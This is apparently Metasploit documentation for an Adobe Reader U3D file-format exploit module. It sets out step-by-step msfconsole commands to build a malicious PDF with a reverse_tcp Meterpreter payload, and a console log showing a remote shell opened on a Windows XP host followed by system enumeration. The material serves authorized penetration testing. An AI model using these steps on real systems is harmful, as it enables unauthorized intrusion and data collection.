2.6 KiB
2.6 KiB
Vulnerable Application
This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled.
Link to vulnerable software OldVersion
Verification Steps
- Install application on the target machine
- Start msfconsole
- Do:
use exploit/windows/fileformat/adobe_reader_u3d - Do:
set payload [windows/meterpreter/reverse_tcp] - Do:
set LHOST [IP] - Do:
exploit - Do:
use [exploit/multi/handler - Do:
set LHOST [IP] - Do:
exploit - Do: Open PDF on target machine with vulnerable software
Options
FILENAME
The file name.
OBFUSCATE
Enable JavaScript obfuscation
Scenarios
Adobe Reader 9.4.0 on Windows XP (5.1 Build 2600, Service Pack 3)
msf > use exploit/windows/fileformat/adobe_reader_u3d
msf exploit(windows/fileformat/adobe_reader_u3d) > set FILENAME myFile.pdf
FILENAME => myFile.pdf
msf exploit(windows/fileformat/adobe_reader_u3d) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf exploit(windows/fileformat/adobe_reader_u3d) > exploit
[*] Creating 'myFile.pdf' file...
[+] myFile.pdf stored at /root/.msf4/local/myFile.pdf
msf exploit(windows/fileformat/adobe_reader_u3d) > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Sending stage (180291 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.5:1103) at 2019-12-05 18:01:07 -0700
meterpreter > sysinfo
Computer : COMPUTER_1
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: COMPUTER_1\USER
meterpreter > run post/windows/gather/enum_applications
[*] Enumerating applications installed on COMPUTER_1
Installed Applications
======================
Name Version
---- -------
Adobe Reader 9.4.0 9.4.0
[+] Results stored in: /root/.msf4/loot/20191205180436_default_192.168.1.5_host.application_540854.txt